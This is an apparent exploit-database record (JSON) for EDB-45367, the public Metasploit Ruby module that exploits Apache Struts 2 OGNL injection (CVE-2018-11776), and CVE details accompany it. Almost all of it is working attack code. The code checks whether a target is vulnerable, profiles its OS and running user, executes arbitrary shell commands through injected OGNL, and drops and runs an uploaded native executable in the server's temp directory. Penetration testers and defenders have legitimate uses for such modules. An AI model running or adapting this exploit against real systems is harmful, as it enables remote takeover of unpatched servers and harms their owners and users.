{"exploit":{"id":"EDB-45367","name":"Apache Struts 2 - Namespace Redirect OGNL Injection (Metasploit)","description":"Apache Struts 2 - Namespace Redirect OGNL Injection (Metasploit)","cves":["CVE-2018-11776"],"author":"Metasploit","published":"2018-09-10","platform":"multiple","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45367","path":"exploits/multiple/remote/45367.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45367.rb","vulnerabilities":[{"id":"CVE-2018-11776","state":"PUBLISHED","title":null,"titleSource":null,"description":"Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn't have value and action set and in same time, its upper package have no or wildcard namespace.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-11776","cvss":{"version":"3.1","baseScore":8.1,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2018-11776"},"updatedAt":"2025-10-21T23:45:48.386Z","retrievedAt":"2026-11-26T13:30:51.068Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45367.png?v=2","url":"https://exploitbin.com/exploits/EDB-45367","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45367/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45367/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::EXE\n\n  # Eschewing CmdStager for now, since the use of '\\' and ';' are killing me\n  #include Msf::Exploit::CmdStager   # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Apache Struts 2 Namespace Redirect OGNL Injection',\n      'Description'    => %q{\n        This module exploits a remote code execution vulnerability in Apache Struts\n        version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed\n        via an endpoint that makes use of a redirect action.\n\n        Native payloads will be converted to executables and dropped in the\n        server's temp dir. If this fails, try a cmd/* payload, which won't\n        have to write to the disk.\n      },\n      #TODO: Is that second paragraph above still accurate?\n      'Author'         => [\n        'Man Yue Mo', # Discovery\n        'hook-s3c',   # PoC\n        'asoto-r7',   # Metasploit module\n        'wvu'         # Metasploit module\n      ],\n      'References'     => [\n        ['CVE', '2018-11776'],\n        ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],\n        ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],\n        ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],\n      ],\n      'Privileged'     => false,\n      'Targets'        => [\n        [\n          'Automatic detection', {\n            'Platform'   => %w{ unix windows linux },\n            'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n          },\n        ],\n        [\n          'Windows', {\n            'Platform'   => %w{ windows },\n            'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n          },\n        ],\n        [\n          'Linux', {\n            'Platform'       => %w{ unix linux },\n            'Arch'           => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}\n          },\n        ],\n      ],\n      'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018\n      'DefaultTarget'  => 0))\n\n      register_options(\n        [\n          Opt::RPORT(8080),\n          OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),\n          OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),\n          OptString.new('ENABLE_STATIC', [ true, 'Enable \"allowStaticMethodAccess\" before executing OGNL', true ]),\n        ]\n      )\n      register_advanced_options(\n        [\n          OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),\n          OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', \"X-#{rand_text_alpha(4)}\"] ),\n          OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', \"#{rand_text_alpha(8)}\"] ),\n        ]\n      )\n  end\n\n  def check\n    # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable\n    ognl = \"#_memberAccess['allowStaticMethodAccess']\"\n\n    resp = send_struts_request(ognl)\n\n    # If vulnerable, the server should return an HTTP 302 (Redirect)\n    #   and the 'Location' header should contain either 'true' or 'false'\n    if resp && resp.headers['Location']\n      output = resp.headers['Location']\n      vprint_status(\"Redirected to:  #{output}\")\n      if (output.include? '/true/')\n        print_status(\"Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'\")\n        datastore['ENABLE_STATIC'] = false\n        CheckCode::Vulnerable\n      elsif (output.include? '/false/')\n        print_status(\"Target requires enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'true'\")\n        datastore['ENABLE_STATIC'] = true\n        CheckCode::Vulnerable\n      else\n        CheckCode::Safe\n      end\n    elsif resp && resp.code==400\n      # METHOD 2: Generate two random numbers, ask the target to add them together.\n      #   If it does, it's vulnerable.\n      a = rand(10000)\n      b = rand(10000)\n      c = a+b\n\n      ognl = \"#{a}+#{b}\"\n\n      resp = send_struts_request(ognl)\n\n      if resp.headers['Location'].include? c.to_s\n        vprint_status(\"Redirected to:  #{resp.headers['Location']}\")\n        print_status(\"Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'\")\n        datastore['ENABLE_STATIC'] = false\n        CheckCode::Vulnerable\n      else\n        CheckCode::Safe\n      end\n    end\n  end\n\n  def exploit\n    case payload.arch.first\n    when ARCH_CMD\n      resp = execute_command(payload.encoded)\n    else\n      resp = send_payload()\n    end\n  end\n\n  def encode_ognl(ognl)\n    # Check and fail if the command contains the follow bad characters:\n    #   ';' seems to terminates the OGNL statement\n    #   '/' causes the target to return an HTTP/400 error\n    #   '\\' causes the target to return an HTTP/400 error (sometimes?)\n    #   '\\r' ends the GET request prematurely\n    #   '\\n' ends the GET request prematurely\n\n    # TODO: Make sure the following line is uncommented\n    bad_chars = %w[; \\\\ \\r \\n]    # and maybe '/'\n    bad_chars.each do |c|\n      if ognl.include? c\n        print_error(\"Bad OGNL request: #{ognl}\")\n        fail_with(Failure::BadConfig, \"OGNL request cannot contain a '#{c}'\")\n      end\n    end\n\n    # The following list of characters *must* be encoded or ORNL will asplode\n    encodable_chars = { \"%\": \"%25\",       # Always do this one first.  :-)\n                        \" \": \"%20\",\n                        \"\\\"\":\"%22\",\n                        \"#\": \"%23\",\n                        \"'\": \"%27\",\n                        \"<\": \"%3c\",\n                        \">\": \"%3e\",\n                        \"?\": \"%3f\",\n                        \"^\": \"%5e\",\n                        \"`\": \"%60\",\n                        \"{\": \"%7b\",\n                        \"|\": \"%7c\",\n                        \"}\": \"%7d\",\n                       #\"\\/\":\"%2f\",       # Don't do this.  Just leave it front-slashes in as normal.\n                       #\";\": \"%3b\",       # Doesn't work.  Anyone have a cool idea for a workaround?\n                       #\"\\\\\":\"%5c\",       # Doesn't work.  Anyone have a cool idea for a workaround?\n                       #\"\\\\\":\"%5c%5c\",    # Doesn't work.  Anyone have a cool idea for a workaround?\n                      }\n\n    encodable_chars.each do |k,v|\n     #ognl.gsub!(k,v)                     # TypeError wrong argument type Symbol (expected Regexp)\n      ognl.gsub!(\"#{k}\",\"#{v}\")\n    end\n    return ognl\n  end\n\n  def send_struts_request(ognl, payload: nil)\n=begin  #badchar-checking code\n    pre = ognl\n=end\n\n    ognl = \"${#{ognl}}\"\n    vprint_status(\"Submitted OGNL: #{ognl}\")\n    ognl = encode_ognl(ognl)\n\n    headers = {'Keep-Alive': 'timeout=5, max=1000'}\n\n    if payload\n      vprint_status(\"Embedding payload of #{payload.length} bytes\")\n      headers[datastore['HEADER']] = payload\n    end\n\n    # TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs\n    uri = \"/#{ognl}/#{datastore['ACTION']}\"\n\n    resp = send_request_cgi(\n     #'encode'  => true,     # this fails to encode '\\', which is a problem for me\n      'uri'     => uri,\n      'method'  => datastore['HTTPMethod'],\n      'headers' => headers\n    )\n\n    if resp && resp.code == 404\n      fail_with(Failure::UnexpectedReply, \"Server returned HTTP 404, please double check TARGETURI and ACTION options\")\n    end\n\n=begin  #badchar-checking code\n    print_status(\"Response code: #{resp.code}\")\n    #print_status(\"Response recv: BODY '#{resp.body}'\") if resp.body\n    if resp.headers['Location']\n      print_status(\"Response recv: LOC: #{resp.headers['Location'].split('/')[1]}\")\n      if resp.headers['Location'].split('/')[1] == pre[1..-2]\n        print_good(\"GOT 'EM!\")\n      else\n        print_error(\"                       #{pre[1..-2]}\")\n      end\n    end\n=end\n\n    resp\n  end\n\n  def profile_target\n    # Use OGNL to extract properties from the Java environment\n\n    properties = { 'os.name': nil,          # e.g. 'Linux'\n                   'os.arch': nil,          # e.g. 'amd64'\n                   'os.version': nil,       # e.g. '4.4.0-112-generic'\n                   'user.name': nil,        # e.g. 'root'\n                   #'user.home': nil,       # e.g. '/root' (didn't work in testing)\n                   'user.language': nil,    # e.g. 'en'\n                   #'java.io.tmpdir': nil,  # e.g. '/usr/local/tomcat/temp' (didn't work in testing)\n                   }\n\n    ognl = \"\"\n    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n    ognl << %Q|('#{rand_text_alpha(2)}')|\n    properties.each do |k,v|\n      ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|\n    end\n    ognl = ognl[0...-4]\n\n    r = send_struts_request(ognl)\n\n    if r.code == 400\n      fail_with(Failure::UnexpectedReply, \"Server returned HTTP 400, consider toggling the ENABLE_STATIC option\")\n    elsif r.headers['Location']\n      # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'\n      #   Extract the OGNL output from the Location path, and strip the two random chars\n      s = r.headers['Location'].split('/')[1][2..-1]\n\n      if s.nil?\n        # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.\n        #   But we didn't get any output, so we can't profile the target.  Abort.\n        return nil\n      end\n\n      # Confirm that all fields were returned, and non include extra (:) delimiters\n      #   If the OGNL fails, we might get a partial result back, in which case, we'll abort.\n      if s.count(':') > properties.length\n        print_error(\"Failed to profile target.  Response from server: #{r.to_s}\")\n        fail_with(Failure::UnexpectedReply, \"Target responded with unexpected profiling data\")\n      end\n\n      # Separate the colon-delimited properties and store in the 'properties' hash\n      s = s.split(':')\n      i = 0\n      properties.each do |k,v|\n        properties[k] = s[i]\n        i += 1\n      end\n\n      print_good(\"Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}\" +\n        \" #{properties[:'os.arch']}, running as #{properties[:'user.name']}\")\n      return properties\n    else\n      print_error(\"Failed to profile target.  Response from server: #{r.to_s}\")\n      fail_with(Failure::UnexpectedReply, \"Server did not respond properly to profiling attempt.\")\n    end\n  end\n\n  def execute_command(cmd_input, opts={})\n    # Semicolons appear to be a bad character in OGNL.  cmdstager doesn't understand that.\n    if cmd_input.include? ';'\n      print_warning(\"WARNING: Command contains bad characters: semicolons (;).\")\n    end\n\n    begin\n      properties = profile_target\n      os = properties[:'os.name'].downcase\n    rescue\n      vprint_warning(\"Target profiling was unable to determine operating system\")\n      os = ''\n      os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'\n      os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'\n      os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'\n    end\n\n    if (os.include? 'linux') || (os.include? 'nix')\n      cmd = \"{'sh','-c','#{cmd_input}'}\"\n    elsif os.include? 'win'\n      cmd = \"{'cmd.exe','/c','#{cmd_input}'}\"\n    else\n      vprint_error(\"Failed to detect target OS.  Attempting to execute command directly\")\n      cmd = cmd_input\n    end\n\n    # The following OGNL will run arbitrary commands on Windows and Linux\n    #   targets, as well as returning STDOUT and STDERR.  In my testing,\n    #   on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.\n\n    vprint_status(\"Executing: #{cmd}\")\n\n    ognl =  \"\"\n    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n    ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|\n    ognl << %q|(#p.redirectErrorStream(true)).|\n    ognl << %q|(#process=#p.start()).|\n    ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|\n    ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|\n    ognl << %q|(#r.flush())|\n\n    r = send_struts_request(ognl)\n\n    if r && r.code == 200\n      print_good(\"Command executed:\\n#{r.body}\")\n    elsif r\n      if r.body.length == 0\n        print_status(\"Payload sent, but no output provided from server.\")\n      elsif r.body.length > 0\n        print_error(\"Failed to run command.  Response from server: #{r.to_s}\")\n      end\n    end\n  end\n\n  def send_payload\n    # Probe for the target OS and architecture\n    begin\n      properties = profile_target\n      os = properties[:'os.name'].downcase\n    rescue\n      vprint_warning(\"Target profiling was unable to determine operating system\")\n      os = ''\n      os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'\n      os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'\n      os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'\n    end\n\n    data_header = datastore['HEADER']\n    if data_header.empty?\n      fail_with(Failure::BadConfig, \"HEADER parameter cannot be blank when sending a payload\")\n    end\n\n    random_filename = datastore['TEMPFILE']\n\n    # d = data stream from HTTP header\n    # f = path to temp file\n    # s = stream/handle to temp file\n    ognl  = \"\"\n    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n    ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|\n    ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|\n    ognl << %q|(#f.setExecutable(true)).|\n    ognl << %q|(#f.deleteOnExit()).|\n    ognl << %q|(#s=new java.io.FileOutputStream(#f)).|\n    ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|\n    ognl << %q|(#s.write(#d)).|\n    ognl << %q|(#s.close()).|\n    ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|\n    ognl << %q|(#p.start()).|\n    ognl << %q|(#f.delete()).|\n\n    success_string = rand_text_alpha(4)\n    ognl << %Q|('#{success_string}')|\n\n    exe = [generate_payload_exe].pack(\"m\").delete(\"\\n\")\n    r = send_struts_request(ognl, payload: exe)\n\n    if r && r.headers && r.headers['Location'].split('/')[1] == success_string\n      print_good(\"Payload successfully dropped and executed.\")\n    elsif r && r.headers['Location']\n      vprint_error(\"RESPONSE: \" + r.headers['Location'])\n      fail_with(Failure::PayloadFailed, \"Target did not successfully execute the request\")\n    elsif r && r.code == 400\n      fail_with(Failure::UnexpectedReply, \"Target reported an unspecified error while executing the payload\")\n    end\n  end\nend","sha256":"dd4a753bea15c50df87a151ea8351df485d0bf220b00c522ad8e1b345711144b","bytes":15015,"fetchedAt":"2026-11-26T14:05:49.919Z","encoding":"utf-8 (display only; download retains original bytes)"}